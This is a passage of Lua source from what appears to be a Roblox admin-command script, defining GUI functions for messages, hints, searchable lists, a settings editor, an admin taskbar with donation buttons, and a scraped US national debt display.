4025 FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5)
4026 FormBar.Title.Size = UDim2.new(1, -120, 0, 25)
4027 end
4028 CORE:HandleEvent(Speak, "MouseButton1Down", function()
4029 if not Said then
4030 Said = true
4031 SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame)
4032 end
4033 end)
4034
4035 if TextColor then
4036 Body.TextColor3 = TextColor
4037 else
4038 Body.TextColor3 = Color3.new(1,1,1)
4039 end
4040
4041 if tonumber(Time) then coroutine.wrap(function()
4042 if AutoTime then
4043 Time = Time + math.floor(#BodyText/7)
4044 end
4045 local Alive = true
4046
4047 local function StopTimer() Alive = false end
4048 Closed.Event:connect(StopTimer)
4049 Minimized.Event:connect(StopTimer)
4050
4051 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4052 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4053 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4054 local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354"
4055 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
4056 for i = Time,0,-1 do
4057 for ii = 1,10 do
4058 if Alive == true then
4059 Ticker.Text = i
4060 wait(0.1)
4061 else
4062 break
4063 end
4064 end
4065 end
4066 if Alive == true then
4067 Close:Invoke()
4068 else
4069 Ticker:Destroy()
4070 Stop:Destroy()
4071 Frame.Size = Frame.Size + UDim2.new(0,0,0,30)
4072 Frame.Position = Frame.Position + UDim2.new(0,0,0,-30)
4073 end
4074 end)() end
4075
4076 CORE:ExecuteResource("CalculateScrollY", Body)
4077 end
4078end
4079
4080function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error)
4081 if not Player then return nil end
4082 if not Player:IsA("Player") then return nil end
4083 if BodyText == "" then return nil end
4084 if not Player:FindFirstChild("PlayerGui") then return nil end
4085 BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
4086 local TextColor = GUI:ContrastColor()
4087 if Error then TextColor = Color3.new(1,0,0) end
4088
4089 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID)
4090 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 1 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor
4091
4092 CORE:ExecuteResource("CalculateScrollY", Body)
4093
4094 return Frame, Close, Closed, Minimize, Minimized
4095end
4096
4097function GUI:SendHint(Player, Text, Time, Speaker) coroutine.wrap(function()
4098 Text = STRING:FormatReplace(Player, string.sub(Text,1,100), Speaker)
4099 local TweenTime = 0.5
4100 if not Time then Time = 5 end
4101 local SG = Instance.new("ScreenGui") SG.Name = "LuaMod".."".."elM".."aker's Admin Hint"
4102 local MaxPos = -1
4103 for _,SGObj in pairs(Player.PlayerGui:GetChildren()) do
4104 local IVal = SGObj:FindFirstChild("Index")
4105 if IVal then
4106 MaxPos = math.max(MaxPos, IVal.Value)
4107 end
4108 end
4109 MaxPos = MaxPos + 1
4110 local IndexVal = Instance.new("IntValue", SG) IndexVal.Name = "Index" IndexVal.Value = MaxPos
4111 local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0, 0, 0.05, MaxPos * 50) Main.Size = UDim2.new(1, 0, 0, 40) Main.BackgroundTransparency = 1
4112 local LeftBar = Instance.new("Frame", Main) LeftBar.Name = "LeftBar" LeftBar.Position = UDim2.new(0.5, 0, 0, 0) LeftBar.Size = UDim2.new(0, 0, 1, 0) LeftBar.BackgroundColor3 = GUI:GetColor() LeftBar.BackgroundTransparency = 0.9 LeftBar.BorderSizePixel = 0
4113 local RightBar = Instance.new("Frame", Main) RightBar.Name = "RightBar" RightBar.Position = UDim2.new(0.5, 0, 0, 0) RightBar.Size = UDim2.new(0, 0, 1, 0) RightBar.BackgroundColor3 = GUI:GetColor() RightBar.BackgroundTransparency = 0.9 RightBar.BorderSizePixel = 0
4114 local Body = Instance.new("TextLabel", Main) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, 0) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.TextColor3 = GUI:ContrastColor() Body.Text = Text Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextTransparency = 1
4115 SG.Parent = Player.PlayerGui
4116
4117 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "LeftBar"})
4118 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "RightBar"})
4119
4120 LeftBar:TweenSize(UDim2.new(-0.5, 0, 1, 0), "In", "Quart", TweenTime)
4121 RightBar:TweenSize(UDim2.new(0.5, 0, 1, 0), "In", "Quart", TweenTime)
4122 Delay(TweenTime, function()
4123 for i = 1,0,-0.1 do
4124 Body.TextTransparency = i
4125 wait()
4126 end
4127 Body.TextTransparency = 0
4128 end)
4129 Delay(TweenTime + Time, function()
4130 for i = 0,1,0.1 do
4131 Body.TextTransparency = i
4132 wait()
4133 end
4134 Body.TextTransparency = 1
4135 local Done = false
4136 LeftBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() Done = true end)
4137 RightBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() repeat wait() until Done SG:Destroy() end)
4138 end)
4139
4140end)() end
4141
4142function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor)
4143 if not Player then return nil end
4144 if not Player:FindFirstChild("PlayerGui") then return nil end
4145 if not PreSearch then PreSearch = "" end
4146 if AutoNumber == nil then AutoNumber = true end
4147
4148 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor)
4149 local SearchBar = Instance.new("TextBox") SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14"
4150 SearchBar.Parent = Frame.Parent
4151 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4152 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4153
4154 local SearchVer = 0,nil
4155 local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked"
4156 local RequestDialog = Instance.new("BindableFunction", Frame) RequestDialog.Name = "RequestDialog"
4157 local InDialog = false
4158
4159 local function ShowResults(Key)
4160 SearchVer = SearchVer + 1
4161 local ThisSearchVer = SearchVer
4162
4163 if type(ScrollScript) == "userdata" then ScrollScript.Disabled = true ScrollScript:Destroy() end
4164 for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end
4165
4166 local NumPos,Num = 0,1
4167
4168 for _,Data in pairs(List) do
4169 if ThisSearchVer ~= SearchVer then
4170 break
4171 end
4172 local String = tostring(Data)--STRING:DetermineFilter(tostring(Data), Player, Player)
4173 if String then
4174 local ImageIcon = nil
4175 if type(Data) == "table" then
4176 String = Data[1]
4177 ImageIcon = Data[2]
4178 end
4179
4180 local TextColor = GUI:ContrastColor()
4181 local StringSplit = STRING:GetSplit(String, 1, " ")
4182 local NewColor = GUI:GetColor(StringSplit[1])
4183 if NewColor then TextColor = NewColor String = StringSplit[2] end
4184
4185 if string.find(string.lower(String), string.lower(Key)) then
4186 Spacer = false
4187 local Font = Settings.Font
4188 local Split = STRING:GetSplit(String, 1, " ")
4189 if string.sub(string.lower(String),1,6) == "bold: " then
4190 Font = "ArialBold"
4191 String = string.sub(String,7)
4192 elseif Fonts[Split[1]] then
4193 Font = Split[1]
4194 String = Split[2]
4195 end
4196 if string.sub(String,1,2) == "--" then
4197 Spacer = true
4198 end
4199 local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end
4200 if ImageIcon then
4201 if tonumber(ImageIcon) then
4202 ImageIcon = "rbxassetid://"..ImageIcon
4203 elseif Icons[ImageIcon] then
4204 ImageIcon = "rbxassetid://"..Icons[ImageIcon]
4205 end
4206
4207 Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2
4208 local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon
4209 local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true
4210 Content.Text = ""
4211 NumPos = NumPos + 90
4212 else
4213 NumPos = NumPos + 30
4214 end
4215
4216 if not Clickable then
4217 Content.AutoButtonColor = false
4218 Content.Active = false
4219 Content.BackgroundTransparency = 1
4220 elseif ClientInfo[Player.Name] and not ClientInfo[Player.Name].TouchScreen then
4221 SOUND:BindButton(Content)
4222 CORE:HandleEvent(Content, "MouseButton1Down", function()
4223 if not InDialog then
4224 Clicked:Fire(String)
4225 end
4226 end, true)
4227 end
4228 if Spacer == false then Num = Num + 1 end
4229 end
4230 end
4231 end
4232 Frame.CanvasSize = UDim2.new(0,0,0,NumPos)
4233 ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos})
4234 end
4235
4236 RequestDialog.OnInvoke = function(RequestDialogCall)
4237 InDialog = RequestDialogCall
4238 end
4239
4240 ShowResults(PreSearch)
4241
4242 local RPR = CORE:CreateRemotePropertyReader(SearchBar)
4243 CORE:HandleEvent(SearchBar, "Changed", function(Prop)
4244 if Prop == "Text" then
4245 local Text = CORE:ReadProperty(RPR, Player, "Text")
4246 ShowResults(Text)
4247 Frame.CanvasPosition = Vector2.new(0,0)
4248 end
4249 end)
4250
4251 return Clicked, RequestDialog, Close
4252end
4253
4254function GUI:PropertyGui(Player, Title, Icon, Properties)
4255 if not Player then return nil end
4256 if not Player:FindFirstChild("PlayerGui") then return nil end
4257 if type(Properties) ~= "table" then return nil end
4258 local HasClosed = false
4259 local NewProperties = {}
4260
4261 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon)
4262 Frame.ClipsDescendants = true
4263 local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2
4264
4265 for PropertyName,Data in pairs(Properties) do
4266 NewProperties[PropertyName] = Data[1]
4267 end
4268
4269 local YCount = 0
4270
4271 for PropertyName,Data in pairs(Properties) do
4272 if type(Data) == "table" then
4273 local DefaultValue = Data[1]
4274 local Writable = Data[2]
4275 local ValueType = Data[3]
4276
4277 if Writable == nil then Writable = false end
4278 if type(ValueType) == "string" then -- now this is confusing
4279 ValueType = string.lower(ValueType)
4280 elseif ValueType == nil then
4281 ValueType = type(DefaultValue)
4282 end
4283
4284 if ValueType == "nil" or ValueType == "userdata" then
4285 ValueType = nil
4286 elseif ValueType == "table" then
4287 DefaultValue = STRING:UnpackArgs(DefaultValue)
4288 ValueType = "string"
4289 end
4290
4291 if ValueType then
4292 local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme
4293 local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left"
4294 local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1
4295
4296 if ValueType == "string" or ValueType == "number" then
4297 if Writable == true then
4298 local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false
4299 CORE:HandleEvent(Input, "Changed", function(Prop) if Prop == "Text" then
4300 if ValueType == "number" then
4301 NewProperties[PropertyName] = tonumber(Input.Text)
4302 else
4303 NewProperties[PropertyName] = tostring(Input.Text)
4304 end
4305 end end)
4306 else
4307 local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left"
4308 end
4309 end
4310 if ValueType == "boolean" then
4311 local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474"
4312 if DefaultValue == true then
4313 Check.Image = "rbxassetid://48138491"
4314 end
4315 if Writable == true then
4316 CORE:HandleEvent(Check, "MouseButton1Down", function()
4317 local NewVal = not NewProperties[PropertyName]
4318 NewProperties[PropertyName] = NewVal
4319 if NewVal == true then
4320 Check.Image = "rbxassetid://48138491"
4321 else
4322 Check.Image = "rbxassetid://48138474"
4323 end
4324 end)
4325 else
4326 Check.ImageTransparency = 0.5
4327 end
4328 end
4329 YCount = YCount + 50
4330 end
4331 end
4332 end
4333
4334 Frame.CanvasSize = UDim2.new(0,0,0,YCount)
4335
4336 Closed.Event:connect(function() HasClosed = true end)
4337
4338 repeat wait(0.1) until HasClosed
4339 return NewProperties
4340end
4341
4342function GUI:SettingsGui(Player)
4343 if not Player then return nil end
4344 local CloneViewSettings,CanChange = {},false
4345
4346 local ViewSettings = {
4347 ["Version"] = {CORE.Version.Value, false, nil};
4348 ["Prefix"] = {Settings.Prefix, 3, "Prefix"};
4349 ["Font"] = {Settings.Font, 3, "Font"};
4350 ["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"};
4351 ["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"};
4352 ["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"};
4353 ["Fun Commands"] = {Settings.Fun, 3, "Fun"};
4354 ["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"};
4355 ["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"};
4356 ["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"};
4357 ["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"};
4358 ["Group ID"] = {Settings.GroupID, false, "GroupID"};
4359 ["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"};
4360 ["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"};
4361 ["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"};
4362 ["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"};
4363 ["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"};
4364 ["IRC Server"] = {Settings.IRCServer, false, "IRCServer"};
4365 ["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"};
4366 ["Remote Connection"] = {REMOTE.RemoteConnection, false, nil};
4367 ["Bet"] = {Settings.Bet, 3, "Bet"};
4368 }
4369
4370 local _,RankNum = RANK:GetRank(Player)
4371 if RankNum >= 3 then
4372 CanChange = true
4373 end
4374
4375 for Prop,Data in pairs(ViewSettings) do
4376 local Writable = false
4377 if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end
4378 CloneViewSettings[Prop] = {Data[1], Writable}
4379 end
4380
4381 local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings)
4382 if CanChange then
4383 for Prop,Data in pairs(ViewSettings) do
4384 if Data[3] then
4385 Settings[Data[3]] = NewSettings[Prop] -- wow haxy
4386 end
4387 end
4388 CORE:FixSettings()
4389 end
4390end
4391
4392function GUI:MessageAdmins(TitleText, BodyText, Icon)
4393 for _,Player in pairs(Server.Players:GetPlayers()) do
4394 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4395 if PlayerAdmin then
4396 GUI:SendMessage(Player, TitleText, BodyText, Icon)
4397 end
4398 end
4399end
4400
4401function GUI:TellAdmin(Player)
4402 if not Player then return end
4403
4404 local ValidAdmin,Rank = RANK:IsAdmin(Player)
4405 if ValidAdmin == true then
4406 GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5)
4407 if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then
4408 local SoundID = 237866523
4409 if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end
4410 local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1)
4411 Sound:Play()
4412 coroutine.wrap(function()
4413 wait(4)
4414 Sound:Stop()
4415 Sound:Destroy()
4416 end)()
4417 end
4418 end
4419end
4420
4421function GUI:TellNotAdmin(Player)
4422 if not Player then return end
4423
4424 GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information")
4425end
4426
4427function GUI:CreateTaskBar(Player)
4428 if not Player then return nil end
4429 if Settings.EnableTaskBar == false then return nil end
4430 Player:WaitForChild("PlayerGui")
4431 local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar")
4432 if SG then SG:Destroy() end
4433 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar"
4434 local IsMoving = false
4435 local TaskBarShown = false
4436 local Tasks = {}
4437
4438 local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0
4439 local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206"
4440
4441 local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm"
4442 local Open,CloseForm = false,nil
4443 if Settings.EnableAdminMenu then
4444 local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://302470270"
4445 coroutine.wrap(function() wait(1) CORE:HandleEvent(MenuButton, "MouseButton1Click", function()
4446 if Open == false then
4447 local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 302470270, true, nil, nil, false, true, true)
4448 Open,CloseForm = true,Close
4449
4450 local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor()
4451 local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
4452 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top"
4453 local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true
4454 local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
4455 local function DonateMoney(Type, Element)
4456 local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
4457 local Get = Request[Type]
4458 if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then
4459 Server.MPS:PromptPurchase(Player, Get[1], true)
4460 elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then
4461 Server.MPS:PromptPurchase(Player, Get[2], true)
4462 elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then
4463 Server.MPS:PromptPurchase(Player, Get[3], true)
4464 else
4465 Element.Text = "Cannot get request"
4466 end
4467 end
4468 local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true CORE:HandleEvent(Get, "MouseButton1Down", function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get)
4469 local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt)
4470 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt)
4471 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt)
4472 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt)
4473 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4474
4475 if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
4476
4477 if Closed then
4478 Closed.Event:connect(function()
4479 Open = false
4480 end)
4481 end
4482 else
4483 CloseForm:Invoke()
4484 end
4485 end) end)()
4486 if RANK:GetRank(Player) == "Owner" then
4487 local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761"
4488 CORE:HandleEvent(HUDButton, "MouseButton1Click", function()
4489 local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui")
4490 if HUDSG then
4491 HUDSG:Destroy()
4492 else
4493 GUI:CreateHUD(Player)
4494 end
4495 end)
4496 end
4497 end
4498
4499 CORE:HandleEvent(TaskButton, "MouseButton1Click", function()
4500 if IsMoving == false then
4501 if TaskBarShown == true then
4502 TaskBarShown = false
4503 IsMoving = true
4504 TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end)
4505 else
4506 TaskBarShown = true
4507 IsMoving = true
4508 TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end)
4509 end
4510 end
4511 end)
4512
4513 local function ReloadIcons()
4514 for Num,Data in pairs(Tasks) do
4515 Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0)
4516 end
4517 end
4518
4519 AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore)
4520 local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID
4521 table.insert(Tasks, {Form, Icon})
4522 local CanClick = true
4523 CORE:HandleEvent(Icon, "MouseButton1Down", function()
4524 if Form.IsActive.Value == false then
4525 Restore:Invoke()
4526 elseif CanClick == true then
4527 coroutine.wrap(function()
4528 CanClick = false
4529 local DefPos = Form.Dragger.Position
4530 for i = 1,15 do
4531 Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2))
4532 wait(0.05)
4533 end
4534 Form.Dragger.Position = DefPos
4535 CanClick = true
4536 end)()
4537 end
4538 end)
4539 ReloadIcons()
4540
4541 Closed.Event:connect(function()
4542 for Num,Data in pairs(Tasks) do
4543 if Data[1] == Form then
4544 Icon:Destroy()
4545 table.remove(Tasks, Num)
4546 end
4547 end
4548 ReloadIcons()
4549 end)
4550 end)
4551end
4552
4553function GUI:ShowDebtStats(Player, ManualText)
4554 local Text = ManualText
4555 if not ManualText then
4556 Text = "CANNOT GET STATISTICS"
4557 local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates")
4558 if RawPage then
4559 local _,GetStart = string.find(RawPage, 'debtDisplayFast">')
4560 local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>')
4561 Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2))
4562 end
4563 end
4564
4565 local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945)
